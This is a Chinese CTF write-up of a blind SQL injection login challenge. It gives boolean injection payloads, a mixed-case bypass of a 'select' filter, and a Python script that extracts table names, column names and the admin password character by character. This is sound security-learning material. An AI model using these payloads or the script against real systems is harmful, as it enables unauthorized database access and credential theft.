看起来有点难(实验吧“注入”)

这两天学的东西比较少,更多的时间在尝试一些ctf题,熟悉一下套路,扩展一下脑洞,顺便写一些小工具来提升码代码的水平。

废话不多说,直接来看题吧。

原地址在这里 I'm here

是一个登陆界面,开始怕作者埋什么套路,所以首先看了下源码,发现什么提示都没有。那接下来就要靠自己去尝试了。账号和密码输入admin admin 用弱口令先去尝试,发现页面回显提示登录失败。

注意看,我们输入的用户名在页面中显示出来了。说明我们插入的语句被拿到数据库中去执行了,接下来我们来判断是否存在注入,是什么类型的注入。输入 admin' admin页面什么提示都没返回。

但是我们在用户名处输入的admin'被输出到页面了,这是好事,说明单引号没有被过滤,之所以没有返回提示信息,我猜测是没有闭合语句导致的,所以我们试试来闭合一下试试。在用户名处输入  admin' ='  得到

得到提示了,根据这个提示我又尝试了其他语句, 比如 1' or '1'='1,发现和只输入admin时得到的信息一样,提示登录失败,这说明admin是正确的用户名,到这里我们就只剩下密码不知道了。到了这里就确定是盲注了,因为页面只回显给我们 0和1。接下来fuzz了一下,发现过滤了select,这我当时懵逼了,这无论怎么绕过都js提示注入攻击,后来发现是一个蹩脚的题,利用大小写绕过虽然也弹框提示注入攻击,但是却可以正常执行.

接下来就是构造语句来进行盲注了,过程就不多叙述了,把需要的语法记录下来,后面附自己写的垃圾脚本。

 查询表的长度:(由于该题前端的限制,只允许输入10个以内的字符,我是在hackbar里测试的)

admin' length((Select group_concat(table_name)from information_schema.tables where table_schema = database()))>n

猜表名:

admin' ascii(substr((Select group_concat(table_name)from information_schema.tables where table_schema = database()),n,1))=m  //这里注意用二分法

同样的方法猜字段名以及爆破密码。由于手工太浪费时间了,自己写了个小脚本,下午又完善了一下,在这里发出了,半自动- -,  另外由于暂时不会多线程,所以爆破的很慢。

#-*- coding:utf8 -*-
import requests
import re
tname = ''
cname = ''
password = ''
flag =''

url = 'http://ctf5.shiyanbar.com/basic/inject/index.php?admin=1'
payload = '%27%20or%20length((Select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema%20=%20database()))={m}%20--%20&pass=&action=login'

for i in range(1,10):
	payload1 = payload.format(m=i)
	url1 = requests.get(url+payload1)
	if '</center></div>' in url1.content:
		print 'length:',i
		break
payload2 = '%27 or ascii(substr(({x}),{y},1))={z}-- &pass=1&action=login'
print u'客观稍等......'
for k in range(1,i+1):
	for d in range(60,124):
		payload3 = payload2.format(x='Select group_concat(table_name)from information_schema.tables where table_schema = database()',y=k,z=d)
		url2 = requests.get(url+payload3)
		if '</center></div>' in url2.content:
			tname += chr(d)
			break
print 'table_name:',tname


pp = '%27 or ascii(substr((Select group_concat(column_name)from information_schema.columns where table_name ={s}),{s1},1))={s2}-- &pass=1&action=login'
print u'要不坐下来喝杯茶吧。'
for k1 in range(1,18):
	for k2 in range(0,124):
		pp1 = pp.format(s="'%s'"%tname,s1=k1,s2=k2)
		url3 = requests.get(url+pp1)
		if '</center></div>' in url3.content:
			cname += chr(k2)
			break
print cname

print u'就要完成了,loading......'
cn = raw_input('column_name:')
p1 = '%27 or ascii(substr((Select {cnn} from {tnn}),{nn},1))={mm}-- &pass=1&action=login'
for kk in range(1,9):
	for kk1 in range(0,124):
		p2 = p1.format(cnn='%s'%cn,tnn='%s'%tname,nn=kk,mm=kk1)
		uu = requests.get(url+p2)
		if '</center></div>' in uu.content:
			password += chr(kk1)
			break

url4 = 'http://ctf5.shiyanbar.com/basic/inject/index.php?admin={admin}&pass={passwd}&action=login'
url5 = url4.format(admin='admin',passwd='%s'%password)
u1 = requests.get(url5)
if 'KEY' in u1.content:
	bb = re.findall('KEY :(.*?)</center>',u1.text)
	print u'[+]....恭喜喽!....[+]'
	print 'flag',bb

 效果图:

生活不止眼前的苟且,还有未来的苟且!!!!共勉。

 

转载于:https://www.cnblogs.com/s1ye/p/8306440.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值